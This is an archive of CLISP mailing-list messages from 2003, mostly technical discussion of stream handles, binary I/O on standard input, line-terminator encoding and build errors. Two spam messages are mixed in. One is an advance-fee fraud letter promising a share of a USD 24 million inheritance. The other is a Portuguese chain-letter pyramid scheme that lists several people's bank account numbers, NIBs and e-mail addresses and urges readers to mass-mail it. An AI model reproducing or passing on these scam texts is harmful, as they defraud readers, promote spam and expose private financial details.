> * Sent on Tue, 6 May 2003 08:14:26 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> > (make-stream object &key &allow-other-keys)
> > will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or
> > :IO) with the &key's the same as for OPEN sans :DIRECTION.
> Cool. But where to get handle in lisp ?

linux:open and posix:duplicate-handle.


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Hello Sam,

Tuesday, May 06, 2003, 8:59:03 AM, you wrote:

>> > (make-stream object &key &allow-other-keys)
>> > will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or
>> > :IO) with the &key's the same as for OPEN sans :DIRECTION.
>> Cool. But where to get handle in lisp ?

> linux:open and posix:duplicate-handle.

Wouldn't it be better to use streams as a source of handles ? I even
have written a function for it already (stream_lend_handle).

Unfortunately, I see no way to duplicate HANDLE in win32. Of course
I can be wrong here, but I have taken a (short) look to dup2 in MS CRT and
found support for this. DuplicateHandle creates new handle and it is being
written into structure referenced by int handle (remaining the same).
Had they been able to duplicate HANDLES they wouldn't have to do it
this way. IMHO...

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> * In message <19720097098.20030507001858@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio"
> * Sent on Wed, 7 May 2003 00:18:58 +1000
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>
> >> > (make-stream object &key &allow-other-keys)
> >> > will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or
> >> > :IO) with the &key's the same as for OPEN sans :DIRECTION.
> >> Cool. But where to get handle in lisp ?
> 
> > linux:open and posix:duplicate-handle.
> 
> Wouldn't it be better to use streams as a source of handles ? I even
> have written a function for it already (stream_lend_handle).

sure, we can use files too!

> Unfortunately, I see no way to duplicate HANDLE in win32. Of course I
> can be wrong here, but I have taken a (short) look to dup2 in MS CRT
> and found support for this. DuplicateHandle creates new handle and it
> is being written into structure referenced by int handle (remaining
> the same).  Had they been able to duplicate HANDLES they wouldn't have
> to do it this way. IMHO...

see LISPFUN(duplicate_handle) in pathname.d.
is it incorrect?

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Hello Sam,

Wednesday, May 07, 2003, 12:03:48 AM, you wrote:

> see LISPFUN(duplicate_handle) in pathname.d.
> is it incorrect?
As far as I understand dup and dup2, it works only as dup, but not
as dup2 on win32. I.e. one cannot point existing handle to another
file, new handle should be allocated. Second parameter is ignored on
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hi Arseny & Marco,

> * In message <62949835.20030507095706@ich.dvo.ru>
> * On the subject of "Re[4]: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio"
> * Sent on Wed, 7 May 2003 09:57:06 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Wednesday, May 07, 2003, 12:03:48 AM, you wrote:
> 
> > see LISPFUN(duplicate_handle) in pathname.d.
> > is it incorrect?
> As far as I understand dup and dup2, it works only as dup, but not as
> dup2 on win32. I.e. one cannot point existing handle to another file,
> new handle should be allocated. Second parameter is ignored on win32.

linux:

[1]> (posix:duplicate-handle 1)
4
[2]> (posix:duplicate-handle 1)
5
[3]> (posix:duplicate-handle 1 5)
5
[4]> (posix:duplicate-handle 1 7)
7

what do you get on win32?

if the second argument is indeed ignored, we are in trouble as far as
compatibility goes...

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> * In message <m3llxlxpbg.fsf@loiso.podval.org>
> * On the subject of "Re: Re[4]: CGI & binary i/o with stdio"
> * Sent on 05 May 2003 13:42:43 -0400
> * I write:
> 
> actually, no, we do need :DIRECTION because there is no way to figure
> out whether the handle is open for input or output or both.
> or is there?!

fcntl(fd,F_GETFL) will return that on unix.
what is the win32 and amiga (and acorn) analogue?

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Hi,

Wednesday, May 07, 2003, 10:23:32 AM, you wrote:

>> > see LISPFUN(duplicate_handle) in pathname.d.
>> > is it incorrect?
>> As far as I understand dup and dup2, it works only as dup, but not as
>> dup2 on win32. I.e. one cannot point existing handle to another file,
>> new handle should be allocated. Second parameter is ignored on win32.

Sam> linux:

[1]>> (posix:duplicate-handle 1)
Sam> 4
[2]>> (posix:duplicate-handle 1)
Sam> 5
[3]>> (posix:duplicate-handle 1 5)
Sam> 5
[4]>> (posix:duplicate-handle 1 7)
Sam> 7

Sam> what do you get on win32?

Sam> if the second argument is indeed ignored, we are in trouble as far as
Sam> compatibility goes...

[1]> (posix:duplicate-handle 1)

*** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.
1. Break [2]> :a

[3]> (posix:duplicate-handle 3)
19
[4]> (posix:duplicate-handle 3)
23
[5]> (posix:duplicate-handle 3 7)
27


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Hi,

What do you expect to read from the following stream?
(ext:make-pipe-io-stream "clisp -x '(describe *standard-output*)(exit)'")

I believe sometimes you want interactive mode in the subprocess CLISP (e.g. running inside Emacs), sometimes not (e.g. running as CGI). It all depends on your application.

Sam wrote:
>some users want to be able to do binary i/o on *standard-input* and
>*standard-output* (CGI pretty much requires this).
I understand this.
>There appears to be no portable way to do this in CLISP.
I'm not sure...

What I mean is that I think CLISP auto-discovers whether stdin/stdout (or rather fd=0, fd1 and fd2) are interactive streams or not.

If they are not interactive, CLISP associates regular file streams with them.

One can then (setf stream-element-type) on one of those.
(defun main ()
  (unwind-protect
      (progn
        (setf (stream-element-type *standard-output*) '(unsigned-byte 8))
        (write-byte 123 *standard-output*))
    (setf (stream-element-type *standard-output*) 'character)))
>clisp -q -i /tmp/foo.lisp -x '(main)(exit)' >/tmp/foo

So the question amounts to: should the mechanisms by which clisp discovers whether to use either interactive or file/pipe/socket streams for *standard-in/out-put* be refined?
Apparently.

If yes, how should they be refined?

It looks to me like a command line option would do, since we have a problem with invocation and the external environment, not execution.

Of course, another solution path would be not to care about letting the user enter binary mode even on a tty and just have (setf stream-element-type '(unsigned-byte 8)) work on the #<terminal-io> object. This would not need another command line option.
While this approach may seem more natural at first sight, it breaks internal assumptions about "shall the program use *query-io* interactively?", "can CLISP output a message to stdout and expect a reaction on stdin?", "if CLISP outputs a #\newline, will input be at beginning of line?" or "shall CLISP call clear-input or finish-output in the typical places (like entering a REP loop)?" which a command line option can control.

Like /bin/sh/csh and others, it looks like CLISP needs an option to force interactive or non-interactive standard-input/output. This will be much easier to implement portably (it's almost there already) than to try to figure out how to dup filehandles, sockets or whatever on all the supported OSes.

This shows how *standard-output* can map to a regular file stream:
build> clisp -q -x '(describe *standard-output*)' >/tmp/foo
build> cat /tmp/foo
#<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/1" @1> is an output-stream.
or, on MS-Windows:
#<OUTPUT BUFFERED FILE-STREAM CHARACTER @1> is an output-stream.

Regards,
	Jorg Hohle.


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Hi,

I'd appreciate a mode where conversion from a Lisp string to bytes =
would respect the encoding's :line-terminator. I.e., I could choose =
among CR, LF or CRLF being written to byte arrays.

Currently, it is ignored (witness ext:convert-string-to-bytes and =
impnotes section2 29.4.3 and 13.1.8). Therefore, a single code 10 is =
written for #\newline and/or #\return, which only suits UNIX systems, =
but neither networking nor other systems. It's is only when writing to =
actual files, sockets or pipes that an encoding's :line-terminator is =
considered.

I find this inconsistent. It also makes some stuff harder at Lisp-level =
than necessary, or than in other implementations.

Example 1: a tcp wrapper, i.e. a HTTP proxy which I could use to look =
at what a web browser sends to a server. I believe people involved in =
that area have silently moved away from CLISP to other implementations =
(I myself used Python).

Example 2: Let's suppose I were to add SSL bindings to CLISP. SSL needs =
the following:
1. do a conversion from characters to bytes
2. encrypt these bytes
3. send them over a socket

For each it is required that the network protocols be obeyed. This =
typically requires use of CRLF as line-terminator in headers (SMTP, =
HTTP ...).

Currently, an application in CLISP would use the encoding's =
:line-terminator on the stream to have the correct CR and/or LF ending =
written to the socket. With SSL, this is not possible anymore.

So what must the application do with current CLISP? Invoke (POSITION =
#\newlin output) to split the output line by line, invoke =
ext:convert-string-to-bytes individually on each, then add #x0D/0A =
after each.

Great, isn't it?

Wouldn't
(defmethod write-string ((stream ssl-stream) ...)
   (ssl-cipher-output
    (the-underlying-socket ssl-stream)
    (ext:convert-string-to-bytes
     string
     ;; how about an alias :network instead of :dos?
     (stream-external-format stream))))))
be most of what is needed if :line-terminator were used?

For FFI purposes, C-STRING still needs an 1:1 encoding. It could be one =
where :line-terminator is either :unix (LF) or :mac (CR), or remain =
ignored. WITH-FOREIGN-STRING is not limited to 1:1 encodings. It should =
follow the redesigned ext:convert-string-to-bytes.

BTW, CLISP doesn't export a reader function for the line-terminator =
slot. (EXT:encoding-charset is a usable reader for the other slot.)

Well, maybe a function separate from ext:convert-string-to-bytes would =
be fine with me. That might not internally use the with_string(), =
cstombs() and other associated C macros, since I presume iconv() does =
not deal with line-termination (otherwise it would be there in CLISP =
already).
Yet convert-string-to-bytes seems the right place for such a change.

"How end of lines are exactly encoded is not really pertinent to the =
charset," says the "recode" manual. Yet recode deals with them all.

BTW, I'm not talking about input here. I have no problems in 95% of the =
situations with CR and/or LF all mapped to #\newline. It is mostly =
useful behaviour.

Regards,
	J=F6rg H=F6hle.


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of the war that our late father fought with the government of Angola until he died in that war=2E The government of Angola is now mad at us because our late father also wanted to be president and caused the people to fight the war for him because he was the president of UNITA political movement
of Angola=2E So now we are in South Africa and we are suffering too much because we don't have money and the government of South Africa will not give jobs to asylum seekers=2E I am much concerned about my younger sisters who are finding it very difficult to manage in the situation=2E

But I know that we should not suffer this way=2E I know that I must not let my younger sisters get into trouble because of money=2E So after consideration I am hereby begging for your assistance to help me to recover from Canada=2C the sum of USD $24 Million which is my inheritance from my late mother=2E My late mother had taken this money with her to Canada in a diplomatic metal box marked =28Precious Stones=29=2E Subsequently she lodged the metal box =28As precious Stones=29 with a Securities and Valuables Protection company in Canada=2E I am supposed to be the beneficiary in the event of her death=2E However=2C all effort I made to go Canada to claim was refused by the Canadian embassy=2E

I have written to the security company in Canada requesting to send the box to South Africa but they said that they can only send it to Switzerland or Thailand where they have correspondent company=2E  And this was why it was still possible for me to travel=2E Now I cannot travel anywhere anymore=2E So in the situation that we are facing now=2C I must find somebody who can go to the one of those mentioned Country on my behalf=2E

I understand that I will have to transfer my beneficiary rights unto you=2E I am willing to do so in the hope that you are a God fearing person who will not abandon us after you have the money=2E So from the bottom of my heart I am giving you 20% of the all the money=2E Once we have enough to sustain us sufficiently=2C you may be come our fund manager and invest the rest wisely for us=2EI assure you that the business 100% risk free=2E

 If you will be kind to assist us=2C please inform me
urgently=2E
Kind regards to you and your family=2E
Sincerely=2C
Ken Jonas savimbi




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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE04159633@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] RFE: convert-string-to-bytes and encoding's :line-terminator"
> * Sent on Wed, 7 May 2003 10:18:40 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
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> I'd appreciate a mode where conversion from a Lisp string to bytes
> would respect the encoding's :line-terminator. I.e., I could choose
> among CR, LF or CRLF being written to byte arrays.

I think the idea was that CONVERT-STRING-TO-BYTES should be used on
strings returned by READ-LINE and thus #\Newline-free.

Please feel free to fix this bug.

Note that wr_ch_array_unbuffered_dos and friends already do something
similar, so you may be able to extract a common subset.



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Greetings,

I am using CLISP 2.30 on Windows with SnePs 2.6.0
(http://www.cse.buffalo.edu/sneps/)
I can compile the whole system without a problem but when I attempt to load
the .fas files
I get:

[....]
;; Loading ATN C:\sneps\snepslog\recognizer\recognizer.atn
;; Loading ATN C:\sneps\snepslog\generator\generator.atn
;;   Loading file C:\sneps\snepslog\printer.fas ...
;;   Loaded file C:\sneps\snepslog\printer.fas
;;   Loading file C:\sneps\snepslog\reader.fas ...
;;   Loaded file C:\sneps\snepslog\reader.fas
;;   Loading file C:\sneps\snepslog\snepslog.fas ...
;;   Loaded file C:\sneps\snepslog\snepslog.fas
;;   Loading file C:\sneps\snepslog\commands.fas ...
;;   Loaded file C:\sneps\snepslog\commands.fas
;;   Loading file C:\sneps\snepslog\toplevel.fas ...
;;   Loaded file C:\sneps\snepslog\toplevel.fas
;;   Loading file C:\sneps\snepslog\tellask.fas ...
;;   Loaded file C:\sneps\snepslog\tellask.fas
;;   Loading file C:\sneps\snepslog\mode3.cl ...
;;   Loaded file C:\sneps\snepslog\mode3.cl
;;   Loading file C:\sneps\snepslog\snepslog-perform.cl ...
;;   Loaded file C:\sneps\snepslog\snepslog-perform.cl
;;   Loading file C:\sneps\nlint\englex\lenglex.fas ...
;;   Loaded file C:\sneps\nlint\englex\lenglex.fas
*** - handle_fault error2 ! address = 0x1A594E74 not in
[0x1A400000,0x1A50EA7C)
!
SIGSEGV cannot be cured. Fault address = 0x1A594E74.

C:\Sneps>


Any help would be appreciated.

Blake McBride
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Por favor leia até ao fim, são apenas 3 ou 4 minutos que poderão mudar o
resto da sua vida. Se não tem tempo agora, deixe para mais logo mas leia
com calma. Isto é um assunto muito sério, encare-o como tal.


Factos:
Pode perder seis euros (no máximo dos máximos) o que não é propriamente uma fortuna.
Vai gastar 10 minutos do seu tempo.
Vai precisar duma caixa multibanco.
Pode ganhar muito dinheiro (mas mesmo muito).

Como? Basta ler e perceber as instruções.

Vamos a isto!

INSTRUÇÕES

1.  Deposite 1,00 (Um Euro) na conta de cada uma das seis pessoas que
estão indicadas na listagem abaixo. Isto pode ser feito de duas formas:
(1) transferência bancaria em qualquer caixa multibanco, através do NIB indicado ou (2) depósito na conta-corrente, usando o nº que está na listagem.

2. Quando depositar Euro 1,00 (Um Euro) na conta-corrente das seis pessoas da lista, envie um e-mail para cada uma delas com o seguinte texto: "Solicito que meu nome/e-mail seja incluído no seu cadastro de correspondências".
Esta é a chave do programa! Torna legalizada a operação bancaria e fica de acordo com a legislação vigente. A legislação diz que todo dinheiro recebido deve ser trocado por um produto ou serviço.
Este é o serviço! (Posteriormente, as pessoas que fizerem depósitos na sua conta-corrente farão o mesmo.)

3. Após ter depositado Euro 1,00 (Um Euro) em cada uma das seis pessoas,
tire o nome da que esta no número 1 (um) e mude os nomes restantes para uma posição acima (o segundo nome passa para o nº 1, o
terceiro para o nr. 2 e assim por diante). Em nenhuma hipótese mude a sequência de nomes. Não coloque o seu nome numa posição diferente, porque além de não ser eticamente correcto, só o vai prejudicar.

4. Coloque no seu "livro de endereços" aproximadamente 250  nomes/e-mails.
Esta é a parte mais complicada da tarefa. Tente consegui-los através de alguma empresa que forneça listagens de e-mails, u tente consegui-los de qualquer outra forma (em classificados por exemplo). Quantos mais melhor.

5. Completada a etapa anterior (4), envie esta mensagem para esses e-mails.

6. Siga estrita e exactamente as instruções deste programa e dentro de
aproximadamente 90 dias você poderá receber, se as pessoas para quem você enviou os e-mails entrarem, mais de 100.000,00 Euros (Cem mil Euros). Eu sei, é muito dinheiro....

COMO FUNCIONA
Digamos que você tenha, por exemplo, um retorno de 3% dos e-mails enviados, o que é uma estimativa bastante conservadora. Nas minhas duas tentativas tive mais do que 3% de retorno.
1.	Quando você manda 250 e-mails com a carta, cerca de 7 pessoas lhe mandam 1 Euro.
2.	Essas 7 pessoas enviam 250 e-mails, cerca de 52 pessoas lhe mandam 1 Euro
3.	Essas 52 pessoas enviam 250 e-mails, cerca de 390 pessoas lhe mandam 1 Euro.
4.	Essas 390 pessoas enviam 250 e-mails, cerca de 2.925 pessoas lhe mandam 1 Euro.
5.	Essas 2.925 pessoas enviam 250 e-mails, cerca de 21.937 pessoas lhe mandam 1 Euro.
6.	Essas 21.937 pessoas enviam 250 e-mails, cerca de 164.527 pessoas lhe mandam 1 Euro.

E segue assim, numa progressão geométrica. Em algum ponto o seu nome sairá da lista, dando oportunidade para outras pessoas. Mas, voce recebeu
aproximadamente Euros 199.498,00 (como aconteceu no meu caso). Isso funciona sempre. No exemplo acima, você terá enviado 250 cartas/e-mails. Se voce enviar 1.000 cartas/e-mails, pode chegar a receber Euros 898.072,00 - que foi o que recebi. Fantástico, não e verdade?

EIS A RELAÇÃO DAS PESSOAS PARA AS QUAIS VOCÊ FARÁ O DEPOSITO BANCÁRIO OU TRANSFERENCIA BANCARIA - Euro 1,00.

OBS.: - (Basta chegar a qualquer dependência do banco em questão e requerer para fazer o deposito naquele numero de conta ou simplesmente fazer uma transferencia bancaria via Internet (caso tenha esse serviço disponível com o seu banco) ou por Multibanco, utilizando sempre para o efeito o NIB da conta).

1. J. Tiago G. F. - B.P.A - Banco Portugues Atlantico - Nova rede Agencia 692
Conta nr : 190744681
NIB: 0033 0000 00190744681 05
E-mail: jtgf_carta@yahoo.com.br

2. Jose G. P. R. - BANIF - Banco Internacional do Funchal Agencia Campo Alegre
Conta nr : 72/0007438207710
NIB: 0038 0072 00743820771 85
E-mail: josegpr@oninet.pt

3. Ricardo F. V. S. - BPSM - Banco Pinto & Souto Mayor - Agência de Valongo
conta nr : 2480225136
NIB: 0033 0000 02480225136 18
E-mail: rsantoos@portugalmail.com

4. Tânia S.R.P. - BCP - Nova Rede agencia de Santarém Hospital
Conta nr: 200403456
NIB: 0033 0000 00200403456 05
E-mail: tania.nelson@netc.pt

5. P. Miguel S. A. S. - BPI - Banco BPI - agência Ilhavo
Conta nr: 2142808000001
NIB: 0010 0000 21428080001 34
E-mail: pms32@portugalmail.pt

6. Jorge T. - BPI
Conta nº 1 - 4163410 - 0001
NIB: 0010 0000 41634100001 72
E-mail: jorge_t@netvisao.pt


Obs.: Imprima essa lista.
Importante: Repare que todos os nomes que constam da lista não estão completos.
Esse anonimato é propositado. Tem a finalidade de preservar as pessoas e, ao
mesmo tempo, cumprir um ritual de varias tradições espirituais: "Fazer o Bem
sem olhar a Quem". Faca o mesmo com o seu nome.

OBSERVAÇÕES

1. Não envie essa mensagem como anexo, pois algumas pessoas evitam abrir com medo que contenha vírus.

2. Siga exactamente as instruções contidas nesta carta/e-mail.

3. Não mude, em nenhuma circunstancia, a sequência dos nomes da listagem. A única excepção, evidentemente, e excluir o que estiver em primeiro lugar e
incluir o seu nome na sexta posição da lista.

4. Não se esqueça de enviar um e-mail para cada uma das pessoas da listagem, solicitando que elas incluam seu nome/e-mail "na lista de correspondências" delas. Isso caracteriza um serviço e da respaldo legal aos depósitos bancários.


COMENTARIO FINAL

(Esta carta foi escrita por Joao Carlos W.F., e é a mesma (original) recebida
pelos constantes da lista acima - você poderá usar a mesma ou modifica-la
contando a sua própria historia, desde que seja VERDADEIRA)


ATENCAO: Caso esta carta chegue mais que uma vez a sua caixa de correio, por favor não considere, e queira desculpar qualquer transtorno que lhe possa
causar. Obrigado!


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> ;;   Loaded file C:\sneps\nlint\englex\lenglex.fas
> *** - handle_fault error2 ! address = 0x1A594E74 not in
> [0x1A400000,0x1A50EA7C)
> !
> SIGSEGV cannot be cured. Fault address = 0x1A594E74.
C:\Sneps>>

> Any help would be appreciated.

Too few information. What's supposed to happen after loading
of lenglex.fas in generator.atn ?

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> * In message <b9do39$2hc$1@main.gmane.org>
> * On the subject of "[clisp-list] CLISP 2.30 SIGSEGV Error on fas load"
> * Sent on Thu, 8 May 2003 09:04:48 -0500
> * Honorable "Blake McBride" <blake@mcbride.name> writes:
>
> I am using CLISP 2.30 on Windows with SnePs 2.6.0
> (http://www.cse.buffalo.edu/sneps/)
> I can compile the whole system without a problem but when I attempt to
> load the .fas files I get:
> ;;   Loaded file C:\sneps\nlint\englex\lenglex.fas
> *** - handle_fault error2 ! address = 0x1A594E74 not in
> [0x1A400000,0x1A50EA7C)
> !
> SIGSEGV cannot be cured. Fault address = 0x1A594E74.

I do not observe this with the CVS head (and an older versions I have
here).  Quite a few bugs have been fixed since the last release, and it
is quite possible that this one is dead too.

Could you please try the `beta' binary (built by Arseny)?
<http://prdownloads.sourceforge.net/clisp/clisp-2.30.1-win32.zip?download>

Thanks!

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That seems to work.  Thanks!

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> > * On the subject of "[clisp-list] CLISP 2.30 SIGSEGV Error on fas load"
> > * Sent on Thu, 8 May 2003 09:04:48 -0500
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> >
> > I am using CLISP 2.30 on Windows with SnePs 2.6.0
> > (http://www.cse.buffalo.edu/sneps/)
> > I can compile the whole system without a problem but when I attempt to
> > load the .fas files I get:
> > ;;   Loaded file C:\sneps\nlint\englex\lenglex.fas
> > *** - handle_fault error2 ! address = 0x1A594E74 not in
> > [0x1A400000,0x1A50EA7C)
> > !
> > SIGSEGV cannot be cured. Fault address = 0x1A594E74.
>
> I do not observe this with the CVS head (and an older versions I have
> here).  Quite a few bugs have been fixed since the last release, and it
> is quite possible that this one is dead too.
>
> Could you please try the `beta' binary (built by Arseny)?
> <http://prdownloads.sourceforge.net/clisp/clisp-2.30.1-win32.zip?download>
>
> Thanks!
>
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Has anyone succeeded in using CLISP from cvs on AIX 5.1 in 64-bit 
mode?  With appropriate twiddles, I can get it to work in 32-bit 
mode, but only with gcc.  (And libsigsegv's second test dies for
both compilers, too, even with o_vaddr changed to except[0].)

With gcc 3.2.1 and -maix64, and also with xlc 6.0.0.2 -q64, I run into
the following:
  ffcall/avcall/avcall-rs6000-aix.new.s: line 11: 1252-191 Only .llong should be used for relocatable expressions.

Patching up that one line to use .llong doesn't help.  Changing
the .long LT..__builtin_avcall-.__builtin_avcall line doesn't,
either.  Obviously I'm shooting in the dark.  Ideas?

And for 32-bit mode, gcc 3.2.1, stdint.h.in needs modified slightly.
This AIX seems to have sys/inttypes.h, and that file defines everything
needed.  The appended patch "works", but probably breaks for older AIX
versions.

Also, utils/gcc-cccp treats __func__ as a string literal, and it isn't.  
The utils/gcc-cccp/Makefile assumes cc is gcc, or at least understands
__func__.  Using gcc-2.95.2 for compiling cccp and 3.2.1 for the rest
works when CLISP is configured with --without-unicode.  Threading seems
unhappy; the mmap defs are strange.  And libcharset runs into the AIX
shared-library idiocy.  augh.

IBM defined boolean_t somewhere, so all definitions in CLISP die when 
using xlc.  There are also problems with the definition of struct 
in6_addr.  That's as far as I've gotten with xlc.

Jason

--- clisp/src/stdint.h.in       2002-07-26 14:49:56.000000000 -0700
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Hi,

CLHS says in the glossary: "A conforming implementation is encouraged =
(but not required) to document its treatment of each item in this =
specification which is marked implementation-dependent [...]".=20

Indeed, CLISP's impnotes looks like a list, chapter by chapter, of all =
such items where CLHS says "is implementation-dependent".

However, impnotes first documented CLtL1, then CLtL2, and now ANSI-CL =
implementation-dependent issues. Therefore, some may be missing which =
were added in-between.

Is somebody willing to cross-check the current impnotes against =
possible clarifications?

BTW, impnotes was proof-read by me recently, resulting in several =
clarifications. Therefore, it would be wise to start reading from CVS =
or
http://cvs2.cons.org/ftp-area/clisp/snapshots/impnotes/
for this job.
The above URL is updated almost daily from CVS by Sam Steingold, thanks =
Sam!

For those who don't know yet ,the URL is one location of the split =
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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE04448679@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] task proposal: find missing 'implementation-dependent' issues"
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> Is somebody willing to cross-check the current impnotes against
> possible clarifications?

another task is to convert them to DocBook/EBNF.
the original text notes used BNF, then the bnf was converted to tables
(html&docbook).  Now that DocBook supports EBNF, someone has to look
for ::== and convert the tables and lists to DocBook/EBNF...

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Hello,

I have not solved my problem yet ...

From your post:
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&frame=right&th=fb294bfa180cf2f6&seekm=1fff13b3.0305020803.3e8f554f%40posting.google.com#link8

I understood that if I upgrade from clisp-2.27 to clisp-2.30 I would be
able to change the element type of *standard-input* to unsigned byte.
I compiled the last version of clisp on the system (which happens to be
a very old RH6.1 but I cannot change that) and I still have an error 
when trying to change the element-type of the input stream:

$ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf
(stream-element-type *standard-input*) '(unsigned-byte 8)))"

"2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" 
*** - (SETF STREAM-ELEMENT-TYPE) on #<INPUT STRING-INPUT-STREAM> is
illegal

I must be doing something wrong.

Any help is much apreciated.

Thibault
 

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Hi,

To be honest, I am not very experienced with LISP. But I want to use the
QSIM package (http://www.cs.utexas.edu/users/qr/QR-software.html) with
clisp.

Following the qsim installation instructions, I get an error:
[1]> (load "start-nq.lisp")
;; Loading file start-nq.lisp ...
;;  Loading file /home/podex/temp/qsim/c-lisp/logical-pathnames.lisp ...
*** - SYSTEM::%FIND-PACKAGE: There is no package with name
"LOGICAL-PATHNAME"

Has anybody already installed this software package? Or can anybody give
me a hint on solving the error?

TIA,
Christof Bodner

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Hi,

I wrote
>What do you expect to read from the following stream?
>(ext:make-pipe-io-stream "clisp -x '(describe 
>*standard-output*)(exit)'")

Since I am convinced that an extra command line option is needed, I investigated that path. It works.

Without actually adding a switch, I just hacked my CLISP to always use a file-stream for standard-input and output. On such a stream, (SETF (STREAM-ELEMENT-TYPE) works, so I can do binary i/o on stdio!

Witness the session log:

[8]> *standard-output*
#<OUTPUT UNBUFFERED FILE-STREAM CHARACTER #P"/dev/fd/1" @1>
[9]> *standard-input*
#<INPUT UNBUFFERED FILE-STREAM CHARACTER #P"/dev/fd/0" @13>

[1]> *error-output*
#<OUTPUT UNBUFFERED FILE-STREAM CHARACTER #P"/dev/fd/1" @1>
[2]> *debug-io*
#<IO SYNONYM-STREAM *TERMINAL-IO*>
[3]> *query-io*
#<IO SYNONYM-STREAM *TERMINAL-IO*>
[4]> (setq *error-output* *debug-io*) ; errors still to terminal
#<IO SYNONYM-STREAM *TERMINAL-IO*>
[5]> (unwind-protect
 (progn (setf (stream-element-type *standard-input*) '(unsigned-byte 8))
        (read-byte *Standard-input*))
 (setf (stream-element-type *standard-input*) 'character))
abcdef
97	; ASCII for a
[6]>
*** - EVAL: variable BCDEF has no value ; what was left on the line
The following restarts are available:
STORE-VALUE    :R1      You may input a new value for BCDEF.
USE-VALUE      :R2      You may input a value to be used instead of BCDEF.
1. Break [7]> :a

[10]> (file-position *standard-output*)
NIL
[11]> (file-position *standard-input*)
NIL

Here's the trivial diff
***************
*** 15330,15339 ****
--- 15333,15344 ----
  # UP: Return the default value for *terminal-io*.
  # can trigger GC
  local object make_terminal_io (void) {
    # If stdin or stdout is a file, use a buffered stream instead of an
    # unbuffered terminal stream. For the ud2cd program used as filter,
    # this reduces the runtime on Solaris from 165 sec to 47 sec.
    var bool stdin_file = regular_handle_p(stdin_handle);
    var bool stdout_file = regular_handle_p(stdout_handle);
+  # JCH HACK to experiment with setf stream-element-type
+  stdin_file = true; stdout_file= true;
    if (stdin_file || stdout_file) {
      var object stream;
      # Allocate stream for stdin:
      if (stdin_file) {
       #ifdef UNIX

The hack needs a little more polishing, because *error-output* is set EQ to *standard-output*, which for the demo & debugging I don't like. That explains my step 4.
[4]> (setq *error-output* *debug-io*)

global void init_streamvars (bool unixyp) # src/stream.d
    stream = Symbol_value(S(standard_output));
    define_variable(S(error_output),stream);     # *ERROR-OUTPUT*


The remaining questions now are:

1. What should *standard-error* become in such a case?
It would be wise *not* to have it bound to the file stream object as *standard-output*. If it's used in binary mode, an infinite loop results of this, and a Lisp STACK overflow. I prefer to have *standard-error* still point to *terminal-io* (which remains a pure character stream) (or a handle for file descriptor #2, if exists). That means that error and trace messages would be mixed as ASCII into the binary output -- at least you get to see something.
Of course, a CGI application needs to play safe and direct its *trace- etc -output* to something reasonable.


2. What should the command-line option be called?
  -noI comes to mind (readline would have to be disabled as well).

BTW, do we really need -repl? I thought, like -i for sh/csh, something to force interactive mode might be enough, together with -noi?

I feel this binary i/o issue is related to forced non-interactive (aka batch) mode. Normally, you wouldn't use a file-stream on an interactive terminal, like I did. You only want that in pipes or sockets (e.g. the cgi application case). There, you have to define what entering the debugger means... Do you really want a Lisp error message go into HTML output? Do you want the debugger to wait for commands from your HTTP-1.1 stream? -- no!

And yes, I feel like CLISP misses an option to indicate (force) batch mode. Currently, it guesses:
  if ((argv_compile || argv_expr_count || argv_execute_file != NULL)
      && !argv_interactive_debug && !argv_repl) {
    # '-c' or '-x' or file specified -> LISP runs in batch-mode:
But it can guess wrong. I could build an image and need neither -i file nor -x to start since the image's startup function could do all I want (e.g. obtain data from ext:getenv instead of via -x): typical cgi.

Regards,
	Jorg Hohle.


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> * In message <1052923094.2987.28.camel@localhost.localdomain>
> * On the subject of "[clisp-list] read-byte and *standard-input*"
> * Sent on 14 May 2003 15:38:15 +0100
> * Honorable Thibault Langlois <tl@inesc.pt> writes:
>
> $ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf
> (stream-element-type *standard-input*) '(unsigned-byte 8)))"
> 
> "2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" 
> *** - (SETF STREAM-ELEMENT-TYPE) on #<INPUT STRING-INPUT-STREAM> is
> illegal

$ cat bin-stdio.lisp 
(progn
  (format t "~s=~s~%" '*standard-input* *standard-input*)
  (setf (stream-element-type *standard-input*) '(unsigned-byte 8))
  (format t "~s=~s~%" '*standard-input* *standard-input*)
  (setq buf (make-array 5 :element-type '(unsigned-byte)))
  (format t "read ~:d bytes:~%~s=~s~%" (read-sequence buf *standard-input*)
          buf (convert-string-from-bytes buf charset:utf-8))
  (quit))
123456789
$ ./clisp -q -norc < ../../bugs/bin-stdio.lisp  
*STANDARD-INPUT*=#<INPUT BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/0" @8>
*STANDARD-INPUT*=#<INPUT BUFFERED FILE-STREAM (UNSIGNED-BYTE 8) #P"/dev/fd/0">
read 5 bytes:
#(10 49 50 51 52)=
"
1234"
$

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Thibault Langlois wrote:
>$ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf
>(stream-element-type *standard-input*) '(unsigned-byte 8)))"
>
>"2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" 
>*** - (SETF STREAM-ELEMENT-TYPE) on #<INPUT STRING-INPUT-STREAM> is
>illegal

Note the STRING-INPUT-STREAM: CLISP has put your -x expression "(progn (print ...)" into a (make-string-input-stream "...") and is reading from that.
You're not yet talking to the real standard-input.

$ clisp -q -norc -x '*standard-input*'
#<INPUT STRING-INPUT-STREAM>

IIRC, it's only after all -x options will have been processed that *standard-input* will see the real thing.

$ clisp -q -norc -x '(read-char *standard-input*)'
